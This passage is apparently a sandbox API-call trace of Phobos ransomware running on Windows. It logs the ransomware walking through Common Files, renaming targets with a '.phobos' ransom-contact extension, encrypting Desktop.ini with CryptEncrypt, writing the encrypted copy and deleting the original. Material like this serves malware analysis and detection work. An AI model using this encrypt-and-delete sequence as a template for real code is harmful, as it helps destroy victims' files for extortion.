Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0049.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.340] SetEvent (hEvent=0x2e8) returned 1 [0049.340] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.341] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2462) returned 1 [0049.341] CloseHandle (hObject=0x318) returned 1 [0049.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0049.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.341] SetEvent (hEvent=0x2e8) returned 1 [0049.341] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.342] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2436) returned 1 [0049.342] CloseHandle (hObject=0x318) returned 1 [0049.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0049.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.342] SetEvent (hEvent=0x2e8) returned 1 [0049.342] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.344] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2514) returned 1 [0049.344] CloseHandle (hObject=0x318) returned 1 [0049.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0049.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.344] SetEvent (hEvent=0x2e8) returned 1 [0049.344] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.345] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2616) returned 1 [0049.345] CloseHandle (hObject=0x318) returned 1 [0049.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0049.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.345] SetEvent (hEvent=0x2e8) returned 1 [0049.345] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.347] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2618) returned 1 [0049.347] CloseHandle (hObject=0x318) returned 1 [0049.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0049.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.242] SetEvent (hEvent=0x2e8) returned 1 [0050.243] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.601] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2628) returned 1 [0050.601] CloseHandle (hObject=0x320) returned 1 [0050.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0050.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.602] SetEvent (hEvent=0x2e8) returned 1 [0050.602] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.621] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=645) returned 1 [0050.621] CloseHandle (hObject=0x320) returned 1 [0050.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0050.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.622] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.622] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.623] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccb0) returned 1 [0050.623] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.623] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x285, lpOverlapped=0x0) returned 1 [0050.624] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x290, dwBufLen=0x290 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x290) returned 1 [0050.624] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x290, lpOverlapped=0x0) returned 1 [0050.625] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0b0) returned 1 [0050.625] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.625] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0050.625] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0050.625] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0050.625] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0050.625] CloseHandle (hObject=0x320) returned 1 [0050.625] CloseHandle (hObject=0x318) returned 1 [0050.626] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0050.627] SetEvent (hEvent=0x2e8) returned 1 [0050.627] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.628] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=237) returned 1 [0050.628] CloseHandle (hObject=0x318) returned 1 [0050.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0050.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.628] SetEvent (hEvent=0x2e8) returned 1 [0050.628] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.632] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=235) returned 1 [0050.632] CloseHandle (hObject=0x318) returned 1 [0050.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0050.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.634] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.636] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=237) returned 1 [0050.636] CloseHandle (hObject=0x318) returned 1 [0050.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0050.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.636] SetEvent (hEvent=0x2e8) returned 1 [0050.636] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.638] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=6381) returned 1 [0050.638] CloseHandle (hObject=0x318) returned 1 [0050.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0050.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.639] SetEvent (hEvent=0x2e8) returned 1 [0050.639] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.641] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5115) returned 1 [0050.641] CloseHandle (hObject=0x318) returned 1 [0050.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0050.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.644] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.646] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=237) returned 1 [0050.646] CloseHandle (hObject=0x318) returned 1 [0050.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0050.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.646] SetEvent (hEvent=0x2e8) returned 1 [0050.646] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.648] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4734) returned 1 [0050.648] CloseHandle (hObject=0x318) returned 1 [0050.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0050.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.648] SetEvent (hEvent=0x2e8) returned 1 [0050.648] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.651] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=10569) returned 1 [0050.651] CloseHandle (hObject=0x318) returned 1 [0050.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 